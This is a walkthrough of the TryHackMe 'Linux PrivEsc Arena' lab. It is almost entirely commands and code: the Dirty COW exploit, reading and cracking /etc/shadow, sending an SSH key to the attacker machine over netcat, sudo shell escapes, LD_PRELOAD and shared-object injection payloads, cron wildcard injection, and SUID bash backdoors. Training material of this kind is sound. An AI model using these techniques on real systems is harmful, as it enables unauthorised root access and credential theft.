> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc-arena.md).

# Linux PrivEsc Arena

**Room Link:** <https://tryhackme.com/room/linuxprivescarena>

## Privilege Escalation - Kernel Exploits

In command prompt type:&#x20;

**Victim**

```
/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh
```

From the output, notice that the OS is vulnerable to “dirtycow”.

<figure><img src="/files/wF2S4aeJ8GRXr6YeDcUj" alt=""><figcaption></figcaption></figure>

### Exploitation

Linux VM

In command prompt type:&#x20;

**Victim**

```
gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w
```

In command prompt type:&#x20;

**Victim**

```
./c0w
```

Disclaimer: This part takes 1-2 minutes - Please allow it some time to work.

In command prompt type:&#x20;

**Victim**

```
passwd
```

In command prompt type:&#x20;

**Victim**

```
id
```

<figure><img src="/files/f1iwYow6X7hw1noXyw1W" alt=""><figcaption></figcaption></figure>

From here, either copy /tmp/passwd back to /usr/bin/passwd or reset your machine to undo changes made to the passwd binary

**Victim**

```
ls -lah /usr/bin/passwd 
rm -f /usr/bin/passwd   
cp /tmp/bak /usr/bin/passwd 
ls -lah /usr/bin/passwd 
```

<figure><img src="/files/Bu2q0Jq3cXa2TYTofK5f" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Stored Passwords (Config Files)

From the output, make note of the value of the “auth-user-pass” directive.&#x20;

**Victim**

```
cat /home/user/myvpn.ovpn
```

<figure><img src="/files/akg3hSRNPap27KJZI0W5" alt=""><figcaption></figcaption></figure>

From the output, make note of the clear-text credentials.&#x20;

**Victim**

```
cat /etc/openvpn/auth.txt 
```

<figure><img src="/files/fiFwh6bsU6uMm9di4F7s" alt=""><figcaption></figcaption></figure>

From the output, make note of the clear-text credentials.

**Victim**

```
cat /home/user/.irssi/config | grep -i passw 
```

<figure><img src="/files/sMlAoBs9TIaBP46DVxlf" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Stored Passwords (History)

**Victim**

```
cat ~/.bash_history | grep -i passw 
```

From the output, make note of the clear-text credentials.

<figure><img src="/files/YaKzFYx445PlsKWCkfXa" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Weak File Permissions

**Victim**

```
cat /etc/passwd
```

Save the output to a file on your attacker machine

<figure><img src="/files/xjir3gVwLftBkdyiKGqI" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /etc/shadow
```

Save the output to a file on your attacker machine

<figure><img src="/files/BRFeXbaMaAI03KipE1Dw" alt=""><figcaption></figcaption></figure>

**Kali**

```
unshadow passwd shadow > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt -O
```

<figure><img src="/files/ir54AMJePObZcTfkP5p9" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SSH Keys

Found nothing for this box

**Victim**

```
find / -name authorized_keys 2> /dev/null
```

**Victim**

```
find / -name id_rsa 2> /dev/null
cat /backups/supersecretkeys/id_rsa
```

<figure><img src="/files/AgWGrR6PcTNrvEh8h6m4" alt=""><figcaption></figcaption></figure>

#### Netcat

**Kali(receiving)**

```
nc -l -p 1234 > id_rsa
```

**Victim(sending)**

```
nc -w 3 $KALI 1234 < id_rsa
```

**Kali**

```
chmod 400 id_rsa
ssh -i id_rsa root@$VICTIM
```

## Privilege Escalation - Sudo (Shell Escaping)

**Victim**

```
 sudo -l
```

<figure><img src="/files/kUsKf16ixMbUK4iYuSG8" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo find /bin -name nano -exec /bin/sh \;
```

<figure><img src="/files/t00iyLv7amMQq5q14otP" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo awk 'BEGIN {system("/bin/sh")}'
```

<figure><img src="/files/u67ocYgKo08MTSs0wKFv" alt=""><figcaption></figcaption></figure>

**Victim**

```
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
```

<figure><img src="/files/Vfs8YjazOuSqmO1OheIl" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo vim -c '!sh'
```

<figure><img src="/files/0Z3pVGfNKQtZ45X8ZEMa" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Sudo (Abusing Intended Functionality)

**Victim**

```
 sudo -l
```

<figure><img src="/files/kUsKf16ixMbUK4iYuSG8" alt=""><figcaption></figcaption></figure>

**Victim**

```
 sudo apache2 -f /etc/shadow
```

<figure><img src="/files/tiAXx9ud3xnZPi89BSFp" alt=""><figcaption></figcaption></figure>

**Kali**

```
 john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
 john hash.txt --show
```

<figure><img src="/files/FltKQhFmd7aIFthFoiG7" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Sudo (LD\_PRELOAD)

**Victim**

```
 sudo -l
```

<figure><img src="/files/kUsKf16ixMbUK4iYuSG8" alt=""><figcaption></figcaption></figure>

**exploit.c**

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

**Victim**

```
gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so apache2
```

<figure><img src="/files/TeiHVpz0aMgrurOChQ4O" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Shared Object Injection)

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="/files/otjX1hFSAYgjkrdMV72F" alt=""><figcaption></figcaption></figure>

**Victim**

```
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
```

<figure><img src="/files/gM8svfG7Dds0ypOO9Hss" alt=""><figcaption></figcaption></figure>

**Victim**

```
mkdir /home/user/.config
cd /home/user/.config
vi libcalc.c
```

**libcalc.c**

```
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

**Victim**

```
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
/usr/local/bin/suid-so
```

<figure><img src="/files/RfgDmFL8FjBe84JaJqhl" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Symlinks)

**Victim #1**

```
 dpkg -l | grep nginx
```

<figure><img src="/files/ldd4d7Dxce0lDRf1cn0c" alt=""><figcaption></figcaption></figure>

**Victim #1**

```
su -l www-data
```

**Victim #1**

```
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
```

**Victim #2**

```
invoke-rc.d nginx rotate >/dev/null 2>&1
```

**Victim #1**

```
id
```

<figure><img src="/files/rCEzOtM5nDohEFcD3N9G" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Environment Variables #1)

### Detection

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="/files/CJpdH71iWUUX8DCbgusl" alt=""><figcaption></figcaption></figure>

**Victim**

```
strings /usr/local/bin/suid-env
```

<figure><img src="/files/SyjWKgoMTxqgBKf0W6nn" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
```

**Victim**

```
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid-env
```

**Victim**

```
id
```

<figure><img src="/files/zEQKZORXOxciNrtl26Qc" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Environment Variables #2)

### Detection

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="/files/ZHVYeqKt0baI8kK9w0Xq" alt=""><figcaption></figcaption></figure>

**Victim**

```
/usr/local/bin/suid-env2
```

### Exploitation Method #1

**Victim**

```
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
```

**Victim**

```
export -f /usr/sbin/service
```

**Victim**

```
/usr/local/bin/suid-env2
```

### Exploitation Method #2

**Victim**

```
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
```

## Privilege Escalation - Capabilities

**Victim**

```
getcap -r / 2>/dev/null
```

<figure><img src="/files/xjF39enymux9rPCRwSDe" alt=""><figcaption></figcaption></figure>

**Victim**

```
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

<figure><img src="/files/VNNprmy5fV2qib49uCBe" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (Path)

### Detection

**Victim**

```
cat /etc/crontab
```

<figure><img src="/files/TUFdcKzt2XkO1qHFZsq3" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
```

Wait 1 minute for the Bash script to execute.

**Victim**

```
/tmp/bash -p
id
```

<figure><img src="/files/b7BeVaevrpSs1qdFKOdN" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (Wildcards)

### Detection

From the output, notice the script “/usr/local/bin/compress.sh”

**Victim**

```
cat /etc/crontab
```

<figure><img src="/files/shnBtrqldZTCoDgQrgeN" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /usr/local/bin/compress.sh
```

<figure><img src="/files/pxUj15iQ9MBuaVsC21lh" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
```

**Victim**

```
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
```

**Victim**

```
/tmp/bash -p
id
```

<figure><img src="/files/007ucYPZRXJJtVm8PJ9D" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (File Overwrite)

### Detection

From the output, notice the script “overwrite.sh”

**Victim**

```
cat /etc/crontab
```

<figure><img src="/files/MS3nzL05FWWnmrhlposM" alt=""><figcaption></figcaption></figure>

From the output, notice the file permissions.

**Victim**

```
ls -l /usr/local/bin/overwrite.sh
```

<figure><img src="/files/pOPss1Pf9dmxozFaLC2A" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
```

Wait 1 minute for the Bash script to execute.

**Victim**

```
/tmp/bash -p
id
```

## Privilege Escalation - NFS Root Squashing

### Detection

From the output, notice that “no\_root\_squash” option is defined for the “/tmp” export.

**Victim**

```
cat /etc/exports
```

<figure><img src="/files/Kfg5zAaLv7wJ8JDYA0an" alt=""><figcaption></figcaption></figure>

### Exploitation

**Kali**

```
showmount -e $VICTIM
```

<figure><img src="/files/aguHygNCapLjOeoEKUBm" alt=""><figcaption></figcaption></figure>

**Kali**

```
mkdir /tmp/1
mount -o rw,vers=2 10.10.26.171:/tmp /tmp/1
```

**Kali**

```
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
```

**Kali**

```
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x
```

**Victim**

```
/tmp/x
id
```

<figure><img src="/files/fPF7QEDhGvq2d4GO3VrI" alt=""><figcaption></figcaption></figure>
